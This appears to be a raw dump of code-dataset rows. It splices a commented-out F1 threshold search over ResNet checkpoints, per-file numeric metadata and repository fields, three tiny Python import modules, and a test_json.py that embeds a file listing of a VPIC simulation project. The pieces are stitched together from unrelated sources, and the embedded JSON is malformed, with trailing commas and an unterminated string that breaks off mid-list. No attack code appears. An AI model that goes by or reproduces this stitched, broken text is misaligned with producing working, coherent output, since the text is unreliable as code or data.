# ref_p = prd[(np.argsort(prd))[-pr_cnt]]
# dec = (prd >= ref_p) & (prd >= th)
# y_pred_new.append(dec)
# f1_cur = f1_score(y_true, np.array(y_pred_new, dtype='int'), average='macro')
# if f1_cur >= f1_max:
# f1_max = f1_cur
# th_max = th
# pr_cnt_max = pr_cnt
# results.append((h5, th_max, pr_cnt_max, f1_max))
# print([h5, th_max, pr_cnt_max, f1_max])
# if f1_max >= best_f1:
# best_f1 = f1_max
# print("current best = ", best_f1)
#
# results = sorted(results, key=lambda x:x[-1], reverse=True)
# for r in results:
# print(r)
#[('snapshots\\resnet50_csv_44.h5', 0.05, 0.44536340852130324), ('snapshots\\resnet50_csv_48.h5', 0.05, 0.445054945054945), ('snapshots\\resnet50_csv_34.h5', 0.05, 0.437181855500821), ('snapshots\\resnet50_csv_49.h5', 0.0, 0.4327235488525811), ('snapshots\\resnet50_csv_45.h5', 0.05, 0.42369674185463657), ('snapshots\\resnet50_csv_28.h5', 0.0, 0.41797258297258294), ('snapshots\\resnet50_csv_22.h5', 0.1, 0.40782312925170067), ('snapshots\\resnet50_csv_30.h5', 0.05, 0.40745030745030747), ('snapshots\\resnet50_csv_50.h5', 0.1, 0.4013157894736842), ('snapshots\\resnet50_csv_37.h5', 0.0, 0.39436633627810097), ('snapshots\\resnet50_csv_47.h5', 0.0, 0.3908092403628118), ('snapshots\\resnet50_csv_41.h5', 0.2, 0.38839285714285715), ('snapshots\\resnet50_csv_35.h5', 0.15000000000000002, 0.38822228496141536), ('snapshots\\resnet50_csv_36.h5', 0.1, 0.38399981614267326), ('snapshots\\resnet50_csv_43.h5', 0.05, 0.3828025149453721), ('snapshots\\resnet50_csv_17.h5', 0.15000000000000002, 0.3746598639455782), ('snapshots\\resnet50_csv_21.h5', 0.05, 0.37316799237981496), ('snapshots\\resnet50_csv_29.h5', 0.0, 0.3672226582940869), ('snapshots\\resnet50_csv_32.h5', 0.1, 0.3669642857142857), ('snapshots\\resnet50_csv_39.h5', 0.05, 0.3659983291562239), ('snapshots\\resnet50_csv_33.h5', 0.05, 0.36450650157546705), ('snapshots\\resnet50_csv_46.h5', 0.1, 0.3637418137418137), ('snapshots\\resnet50_csv_42.h5', 0.0, 0.3635427827546054), ('snapshots\\resnet50_csv_25.h5', 0.05, 0.36262793405650545), ('snapshots\\resnet50_csv_11.h5', 0.05, 0.3579434337837699), ('snapshots\\resnet50_csv_27.h5', 0.05, 0.3495562586818953), ('snapshots\\resnet50_csv_40.h5', 0.0, 0.3492804814233386), ('snapshots\\resnet50_csv_31.h5', 0.05, 0.348015873015873), ('snapshots\\resnet50_csv_38.h5', 0.0, 0.3360606404724052), ('snapshots\\resnet50_csv_18.h5', 0.05, 0.3308032303830623), ('snapshots\\resnet50_csv_16.h5', 0.1, 0.32845804988662136), ('snapshots\\resnet50_csv_14.h5', 0.05, 0.32814818234986304), ('snapshots\\resnet50_csv_26.h5', 0.1, 0.3254329004329004), ('snapshots\\resnet50_csv_19.h5', 0.05, 0.3204281712685074), ('snapshots\\resnet50_csv_15.h5', 0.0, 0.3152310924369747), ('snapshots\\resnet50_csv_20.h5', 0.1, 0.29930213464696226), ('snapshots\\resnet50_csv_10.h5', 0.05, 0.2901406742663109), ('snapshots\\resnet50_csv_13.h5', 0.1, 0.27293083900226756), ('snapshots\\resnet50_csv_24.h5', 0.1, 0.2708245722531437), ('snapshots\\resnet50_csv_12.h5', 0.1, 0.2673262853528508), ('snapshots\\resnet50_csv_23.h5', 0.1, 0.2638221955448846), ('snapshots\\resnet50_csv_04.h5', 0.25, 0.24969474969474967), ('snapshots\\resnet50_csv_09.h5', 0.05, 0.24739891704177416), ('snapshots\\resnet50_csv_05.h5', 0.2, 0.24424342105263158), ('snapshots\\resnet50_csv_06.h5', 0.15000000000000002, 0.23761446886446885), ('snapshots\\resnet50_csv_07.h5', 0.15000000000000002, 0.233078231292517), ('snapshots\\resnet50_csv_03.h5', 0.15000000000000002, 0.21793958962895502), ('snapshots\\resnet50_csv_01.h5', 0.05, 0.19410188317751345), ('snapshots\\resnet50_csv_02.h5', 0.05, 0.19065212731754366), ('snapshots\\resnet50_csv_08.h5', 0.15000000000000002, 0.18758503401360543)]
| 103.652174
| 3,138
| 0.676594
| 675
| 4,768
| 4.542222
| 0.260741
| 0.277234
| 0.326158
| 0.039139
| 0.047619
| 0.047619
| 0.047619
| 0.047619
| 0.034573
| 0.034573
| 0
| 0.34171
| 0.1487
| 4,768
| 46
| 3,138
| 103.652174
| 0.413649
| 0.88255
| 0
| 0
| 0
| 0
| 0.155303
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.545455
| 0
| 0.545455
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 9
|
0e8ce6111bfdc8cd184e1b50c53efd432202c3a9
| 121
|
py
|
Python
|
graph_traversal/graph_traversal.py
|
kelvinguu/traversing-knowledge-graphs
|
a14ffa228987c735888d877e8b32ec7f0de585be
|
[
"MIT"
] | 24
|
2017-08-31T17:26:47.000Z
|
2021-11-15T10:59:00.000Z
|
graph_traversal/graph_traversal.py
|
millerjohnp/traversing_knowledge_graphs
|
a14ffa228987c735888d877e8b32ec7f0de585be
|
[
"MIT"
] | null | null | null |
graph_traversal/graph_traversal.py
|
millerjohnp/traversing_knowledge_graphs
|
a14ffa228987c735888d877e8b32ec7f0de585be
|
[
"MIT"
] | 12
|
2017-08-07T07:25:11.000Z
|
2020-03-18T16:48:58.000Z
|
import platform
if platform.system() == 'Darwin':
from mac_graph_traversal import *
else:
from graph_traversal import *
| 24.2
| 34
| 0.77686
| 16
| 121
| 5.6875
| 0.625
| 0.307692
| 0.43956
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.132231
| 121
| 5
| 35
| 24.2
| 0.866667
| 0
| 0
| 0
| 0
| 0
| 0.04918
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.6
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
7ee77fbb8cc785096cfb89eb1df6d83ca18cef53
| 128
|
py
|
Python
|
pandaf/013/mc.py
|
cpausmit/Kraken
|
54a5b69d274f928a5e53475b9c281815fadfc139
|
[
"MIT"
] | null | null | null |
pandaf/013/mc.py
|
cpausmit/Kraken
|
54a5b69d274f928a5e53475b9c281815fadfc139
|
[
"MIT"
] | null | null | null |
pandaf/013/mc.py
|
cpausmit/Kraken
|
54a5b69d274f928a5e53475b9c281815fadfc139
|
[
"MIT"
] | 2
|
2017-03-22T17:33:38.000Z
|
2017-09-29T02:38:24.000Z
|
import PandaProd.Producer.opts
PandaProd.Producer.opts.options.config = 'Autumn18'
from PandaProd.Producer.prod import process
| 25.6
| 51
| 0.835938
| 16
| 128
| 6.6875
| 0.625
| 0.476636
| 0.392523
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.016949
| 0.078125
| 128
| 4
| 52
| 32
| 0.889831
| 0
| 0
| 0
| 0
| 0
| 0.0625
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
7ee8416404d55bb23f1e8f4b1c4dc4af2a1189f5
| 73
|
py
|
Python
|
turnsole/__init__.py
|
Antonio-hi/turnsole
|
201e852f6a8699843760fcf4884b7aa6208ab296
|
[
"MIT"
] | 1
|
2021-03-05T10:09:56.000Z
|
2021-03-05T10:09:56.000Z
|
turnsole/__init__.py
|
Antonio-hi/turnsole
|
201e852f6a8699843760fcf4884b7aa6208ab296
|
[
"MIT"
] | null | null | null |
turnsole/__init__.py
|
Antonio-hi/turnsole
|
201e852f6a8699843760fcf4884b7aa6208ab296
|
[
"MIT"
] | null | null | null |
from .convenience import resize
from .convenience import resize_with_pad
| 24.333333
| 40
| 0.863014
| 10
| 73
| 6.1
| 0.6
| 0.491803
| 0.688525
| 0.885246
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.109589
| 73
| 2
| 41
| 36.5
| 0.938462
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
7d01ac35fe5e7f1a58b6d82b78997620bedf328f
| 280,501
|
py
|
Python
|
test_json.py
|
lanl/SHELTIE
|
e892461c693745bd40b61d3e876423c4daf7bd7b
|
[
"BSD-3-Clause"
] | 2
|
2020-03-19T08:22:05.000Z
|
2020-09-02T20:57:39.000Z
|
test_json.py
|
lanl/SHELTIE
|
e892461c693745bd40b61d3e876423c4daf7bd7b
|
[
"BSD-3-Clause"
] | null | null | null |
test_json.py
|
lanl/SHELTIE
|
e892461c693745bd40b61d3e876423c4daf7bd7b
|
[
"BSD-3-Clause"
] | 1
|
2020-03-19T08:22:06.000Z
|
2020-03-19T08:22:06.000Z
|
test_json = []
test_json.append("""{"log":[
{"user_responses":[
{"description":"test autologging 2
"},
]},
{"autogeneratated":[ {"status":""},
{"files":[
{"name":"./sample/interface_deck_2D_decomp/head/interface_deck_2D_decomp.cc","size":79168,"last_modified":1528904996},
{"name":"./sample/interface_deck_2D_decomp/407/v407_interface_deck_2D_decomp.cc","size":80015,"last_modified":1528904996},
{"name":"./utilities/gtest-vpic.cc","size":500,"last_modified":1528904996},
{"name":"./utilities/restart_remap.cc","size":1796,"last_modified":1528904996},
{"name":"./deck/main.cc","size":3001,"last_modified":1528904996},
{"name":"./deck/wrapper.cc","size":25863,"last_modified":1528904996},
{"name":"./src/material/material.cc","size":2825,"last_modified":1530129259},
{"name":"./src/util/profile/profile.cc","size":1773,"last_modified":1530129259},
{"name":"./src/util/checkpt/checkpt.cc","size":22150,"last_modified":1530129259},
{"name":"./src/util/checkpt/checkpt_io.cc","size":680,"last_modified":1528904996},
{"name":"./src/util/boot.cc","size":1167,"last_modified":1530129259},
{"name":"./src/util/util_base.cc","size":6923,"last_modified":1530129259},
{"name":"./src/util/rng/test/rng.cc","size":13287,"last_modified":1528904996},
{"name":"./src/util/rng/frandn_table.cc","size":7759,"last_modified":1530129259},
{"name":"./src/util/rng/rng.cc","size":17713,"last_modified":1530129259},
{"name":"./src/util/rng/drandn_table.cc","size":30219,"last_modified":1530129259},
{"name":"./src/util/rng/rng_pool.cc","size":1475,"last_modified":1530129259},
{"name":"./src/util/mp/mp.cc","size":2494,"last_modified":1528904996},
{"name":"./src/util/v4/test/v4.cc","size":11628,"last_modified":1528904996},
{"name":"./src/util/pipelines/pipelines_thread.cc","size":19730,"last_modified":1530129259},
{"name":"./src/util/pipelines/pipelines_serial.cc","size":2100,"last_modified":1530129259},
{"name":"./src/vpic/advance.cc","size":8824,"last_modified":1531415602},
{"name":"./src/vpic/diagnostics.cc","size":2261,"last_modified":1528904996},
{"name":"./src/vpic/vpic.cc","size":3605,"last_modified":1528904996},
{"name":"./src/vpic/misc.cc","size":10026,"last_modified":1528904996},
{"name":"./src/vpic/initialize.cc","size":3000,"last_modified":1530129259},
{"name":"./src/vpic/dump.cc","size":27661,"last_modified":1528904996},
{"name":"./src/field_advance/standard/vacuum_energy_f.cc","size":4800,"last_modified":1530129259},
{"name":"./src/field_advance/standard/compute_rms_div_b_err.cc","size":1977,"last_modified":1530129259},
{"name":"./src/field_advance/standard/advance_b.cc","size":5314,"last_modified":1531415601},
{"name":"./src/field_advance/standard/sfa.cc","size":7263,"last_modified":1531415601},
{"name":"./src/field_advance/standard/vacuum_compute_curl_b.cc","size":9562,"last_modified":1528904996},
{"name":"./src/field_advance/standard/vacuum_advance_e.cc","size":11198,"last_modified":1528904996},
{"name":"./src/field_advance/standard/compute_rhob.cc","size":4404,"last_modified":1530129259},
{"name":"./src/field_advance/standard/advance_e.cc","size":12678,"last_modified":1531259114},
{"name":"./src/field_advance/standard/energy_f.cc","size":4575,"last_modified":1530129259},
{"name":"./src/field_advance/standard/vacuum_compute_div_e_err.cc","size":4598,"last_modified":1530129259},
{"name":"./src/field_advance/standard/SFACopier.cc","size":5709,"last_modified":1531173834},
{"name":"./src/field_advance/standard/clean_div_e.cc","size":4207,"last_modified":1530129259},
{"name":"./src/field_advance/standard/remote.cc","size":23843,"last_modified":1531259114},
{"name":"./src/field_advance/standard/compute_div_b_err.cc","size":4871,"last_modified":1528904996},
{"name":"./src/field_advance/standard/clean_div_b.cc","size":7907,"last_modified":1528904996},
{"name":"./src/field_advance/standard/vacuum_clean_div_e.cc","size":4037,"last_modified":1530129259},
{"name":"./src/field_advance/standard/compute_rms_div_e_err.cc","size":4791,"last_modified":1530129259},
{"name":"./src/field_advance/standard/vacuum_compute_rhob.cc","size":4439,"last_modified":1530129259},
{"name":"./src/field_advance/standard/compute_div_e_err.cc","size":4521,"last_modified":1530129259},
{"name":"./src/field_advance/standard/compute_curl_b.cc","size":10347,"last_modified":1528904996},
{"name":"./src/field_advance/standard/local.cc","size":21223,"last_modified":1531415601},
{"name":"./src/field_advance/field_advance.cc","size":2089,"last_modified":1531259111},
{"name":"./src/species_advance/standard/energy_p.cc","size":4421,"last_modified":1528904996},
{"name":"./src/species_advance/standard/sort_p.cc","size":9721,"last_modified":1530129259},
{"name":"./src/species_advance/standard/rho_p.cc","size":7133,"last_modified":1528904996},
{"name":"./src/species_advance/standard/advance_p.cc","size":17585,"last_modified":1528904996},
{"name":"./src/species_advance/standard/uncenter_p.cc","size":5982,"last_modified":1528904996},
{"name":"./src/species_advance/standard/move_p.cc","size":14414,"last_modified":1528904996},
{"name":"./src/species_advance/standard/center_p.cc","size":5891,"last_modified":1528904996},
{"name":"./src/species_advance/standard/hydro_p.cc","size":6464,"last_modified":1530129259},
{"name":"./src/species_advance/species_advance.cc","size":3637,"last_modified":1530129259},
{"name":"./src/grid/partition.cc","size":6164,"last_modified":1530129259},
{"name":"./src/grid/ops.cc","size":7031,"last_modified":1530129259},
{"name":"./src/grid/grid_comm.cc","size":1810,"last_modified":1530129259},
{"name":"./src/grid/grid_structors.cc","size":1183,"last_modified":1530129259},
{"name":"./src/boundary/link.cc","size":2404,"last_modified":1530129259},
{"name":"./src/boundary/absorb_tally.cc","size":2630,"last_modified":1530129259},
{"name":"./src/boundary/maxwellian_reflux.cc","size":8642,"last_modified":1530129259},
{"name":"./src/boundary/boundary_p.cc","size":16088,"last_modified":1528904996},
{"name":"./src/boundary/boundary.cc","size":2281,"last_modified":1530129259},
{"name":"./src/collision/collision.cc","size":2100,"last_modified":1530129259},
{"name":"./src/collision/unary.cc","size":5158,"last_modified":1530129259},
{"name":"./src/collision/langevin.cc","size":4740,"last_modified":1530129259},
{"name":"./src/collision/binary.cc","size":9583,"last_modified":1530129259},
{"name":"./src/collision/hard_sphere.cc","size":17874,"last_modified":1530129259},
{"name":"./src/collision/large_angle_coulomb.cc","size":11081,"last_modified":1530129259},
{"name":"./src/emitter/emitter.cc","size":2366,"last_modified":1530129259},
{"name":"./src/emitter/child_langmuir.cc","size":8682,"last_modified":1530129259},
{"name":"./src/sf_interface/reduce_accumulators.cc","size":6310,"last_modified":1528904996},
{"name":"./src/sf_interface/clear_accumulators.cc","size":1161,"last_modified":1530129259},
{"name":"./src/sf_interface/accumulator_array.cc","size":1680,"last_modified":1530129259},
{"name":"./src/sf_interface/hydro_array.cc","size":7869,"last_modified":1530129259},
{"name":"./src/sf_interface/interpolator_array.cc","size":10078,"last_modified":1528904996},
{"name":"./src/sf_interface/unload_accumulator.cc","size":3507,"last_modified":1528904996},
{"name":"./kokkos/tpls/gtest/gtest/gtest-all.cc","size":354477,"last_modified":1528906780},
{"name":"./interfaces/c/fft_join.c","size":3309,"last_modified":1528904996},
{"name":"./interfaces/c/fft_join_tmp.c","size":3446,"last_modified":1528904996},
{"name":"./interfaces/c/poynting2d.c","size":6280,"last_modified":1528904996},
{"name":"./interfaces/c/data_join2.c","size":22638,"last_modified":1528904996},
{"name":"./interfaces/c/fig10.c","size":4852,"last_modified":1528904996},
{"name":"./interfaces/c/data_join.c","size":22633,"last_modified":1528904996},
{"name":"./interfaces/c/pppp.c","size":11254,"last_modified":1528904996},
{"name":"./interfaces/c/movie_join_bak.c","size":7266,"last_modified":1528904996},
{"name":"./interfaces/c/fig9.c","size":4900,"last_modified":1528904996},
{"name":"./interfaces/c/movie_join_2d.c","size":7170,"last_modified":1528904996},
{"name":"./interfaces/c/movie_join.c","size":16856,"last_modified":1528904996},
{"name":"./build/CMakeFiles/FindOpenMP/OpenMPCheckVersion.c","size":605,"last_modified":1531158566},
{"name":"./build/CMakeFiles/FindOpenMP/OpenMPTryFlag.c","size":93,"last_modified":1531158565},
{"name":"./build/CMakeFiles/3.11.1/CompilerIdC/CMakeCCompilerId.c","size":18988,"last_modified":1531158556},
{"name":"./build/CMakeFiles/feature_tests.c","size":688,"last_modified":1531158558},
{"name":"./utilities/symbols.h","size":1274,"last_modified":1528904996},
{"name":"./src/material/material.h","size":1438,"last_modified":1528904996},
{"name":"./src/util/bitfield.h","size":2961,"last_modified":1528904996},
{"name":"./src/util/swap.h","size":4340,"last_modified":1528904996},
{"name":"./src/util/system.h","size":1880,"last_modified":1528904996},
{"name":"./src/util/io/P2PIOPolicy.h","size":13536,"last_modified":1528904996},
{"name":"./src/util/io/FileIOData.h","size":402,"last_modified":1528904996},
{"name":"./src/util/io/FileIO.h","size":1855,"last_modified":1528904996},
{"name":"./src/util/io/StandardUtilsPolicy.h","size":577,"last_modified":1528904996},
{"name":"./src/util/io/P2PUtilsPolicy.h","size":1218,"last_modified":1528904996},
{"name":"./src/util/io/FileUtils.h","size":778,"last_modified":1528904996},
{"name":"./src/util/io/StandardIOPolicy.h","size":3305,"last_modified":1528904996},
{"name":"./src/util/profile/profile.h","size":3083,"last_modified":1528904996},
{"name":"./src/util/util_base.h","size":14693,"last_modified":1528904996},
{"name":"./src/util/checkpt/checkpt.h","size":13238,"last_modified":1528904996},
{"name":"./src/util/checkpt/checkpt_io.h","size":1709,"last_modified":1528904996},
{"name":"./src/util/checkpt/checkpt_private.h","size":628,"last_modified":1528904996},
{"name":"./src/util/util.h","size":1060,"last_modified":1528904996},
{"name":"./src/util/rng/rng.h","size":9313,"last_modified":1528904996},
{"name":"./src/util/rng/frandn_table.h","size":312,"last_modified":1528904996},
{"name":"./src/util/rng/rng_private.h","size":11345,"last_modified":1528904996},
{"name":"./src/util/rng/drandn_table.h","size":320,"last_modified":1528904996},
{"name":"./src/util/mp/RelayPolicy.h","size":12301,"last_modified":1528904996},
{"name":"./src/util/mp/mp.h","size":3441,"last_modified":1528904996},
{"name":"./src/util/mp/DMPPolicy.h","size":10437,"last_modified":1528904996},
{"name":"./src/util/mp/MPWrapper.h","size":540,"last_modified":1528904996},
{"name":"./src/util/v4/v4_sse.h","size":33491,"last_modified":1528904996},
{"name":"./src/util/v4/v4_portable.h","size":33860,"last_modified":1528904996},
{"name":"./src/util/v4/v4_altivec.h","size":42173,"last_modified":1528904996},
{"name":"./src/util/v4/v4.h","size":343,"last_modified":1528904996},
{"name":"./src/util/checksum.h","size":1125,"last_modified":1528904996},
{"name":"./src/util/pipelines/pipelines.h","size":3872,"last_modified":1528904996},
{"name":"./src/vpic/dumpmacros.h","size":8876,"last_modified":1528904996},
{"name":"./src/vpic/vpic_unit_deck.h","size":457,"last_modified":1528904996},
{"name":"./src/vpic/kokkos_helpers.h","size":4833,"last_modified":1531415602},
{"name":"./src/vpic/vpic.h","size":22550,"last_modified":1529966965},
{"name":"./src/field_advance/standard/sfa_private.h","size":14239,"last_modified":1531415602},
{"name":"./src/field_advance/field_advance_private.h","size":545,"last_modified":1531166380},
{"name":"./src/field_advance/field_advance.h","size":10219,"last_modified":1531259114},
{"name":"./src/species_advance/standard/spa_private.h","size":5627,"last_modified":1528904996},
{"name":"./src/species_advance/species_advance.h","size":7654,"last_modified":1531415602},
{"name":"./src/grid/grid.h","size":14277,"last_modified":1528904996},
{"name":"./src/boundary/boundary.h","size":1516,"last_modified":1528904996},
{"name":"./src/boundary/boundary_private.h","size":2437,"last_modified":1528904996},
{"name":"./src/collision/collision_private.h","size":1469,"last_modified":1528904996},
{"name":"./src/collision/collision.h","size":12961,"last_modified":1528904996},
{"name":"./src/emitter/emitter_private.h","size":1115,"last_modified":1528904996},
{"name":"./src/emitter/emitter.h","size":2906,"last_modified":1528904996},
{"name":"./src/sf_interface/sf_interface.h","size":5787,"last_modified":1528904996},
{"name":"./src/sf_interface/sf_interface_private.h","size":2480,"last_modified":1528904996},
{"name":"./kokkos/example/md_skeleton/system.h","size":2718,"last_modified":1528906780},
{"name":"./kokkos/example/md_skeleton/types.h","size":5086,"last_modified":1528906780},
{"name":"./kokkos/core/unit_test/config/results/HSW_Qthreads_KokkosCore_config.h","size":630,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal61_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler35_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell53_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv81_Pthread_KokkosCore_config.h","size":572,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BDW_OpenMP_KokkosCore_config.h","size":682,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/WSM_Serial_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal61_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SKX_OpenMP_KokkosCore_config.h","size":688,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SKX_Cuda_KokkosCore_config.h","size":715,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler37_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv80_Qthreads_KokkosCore_config.h","size":573,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power9_OpenMP_KokkosCore_config.h","size":633,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell53_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv81_OpenMP_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/AMDAVX_ROCm_KokkosCore_config.h","size":597,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler35_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell50_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal60_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler30_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power7_OpenMP_KokkosCore_config.h","size":633,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell50_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power9_Qthreads_KokkosCore_config.h","size":635,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNC_Cuda_KokkosCore_config.h","size":651,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BGQ_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BDW_Qthreads_KokkosCore_config.h","size":684,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/AMDAVX_Qthreads_KokkosCore_config.h","size":570,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power8_Qthreads_KokkosCore_config.h","size":635,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell53_Cuda_KokkosCore_config.h","size":631,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler30_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNC_ROCm_KokkosCore_config.h","size":653,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/SKX_Pthread_KokkosCore_config.h","size":689,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/AMDAVX_Cuda_KokkosCore_config.h","size":595,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv80_ROCm_KokkosCore_config.h","size":600,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BGQ_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell_Cuda_KokkosCore_config.h","size":631,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv80_Pthread_KokkosCore_config.h","size":572,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BDW_ROCm_KokkosCore_config.h","size":711,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler37_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler30_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell52_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/BDW_Serial_KokkosCore_config.h","size":682,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal60_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler_Cuda_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/WSM_Cuda_KokkosCore_config.h","size":656,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/AMDAVX_Serial_KokkosCore_config.h","size":568,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/None_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal60_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell52_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/HSW_Pthread_KokkosCore_config.h","size":629,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power9_ROCm_KokkosCore_config.h","size":662,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNC_Pthread_KokkosCore_config.h","size":625,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/ARMv8-ThunderX_Pthread_KokkosCore_config.h","size":609,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNC_OpenMP_KokkosCore_config.h","size":624,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell_ROCm_KokkosCore_config.h","size":571,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell52_Pthread_KokkosCore_config.h","size":543,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/KNL_Pthread_KokkosCore_config.h","size":634,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Pascal60_Serial_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power7_Serial_KokkosCore_config.h","size":633,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Maxwell53_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Kepler37_OpenMP_KokkosCore_config.h","size":542,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power7_ROCm_KokkosCore_config.h","size":662,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/Power7_Pthread_KokkosCore_config.h","size":634,"last_modified":1528906778},
{"name":"./kokkos/core/unit_test/config/results/None_Qthreads_KokkosCore_config.h","size":544,"last_modified":1528906778},
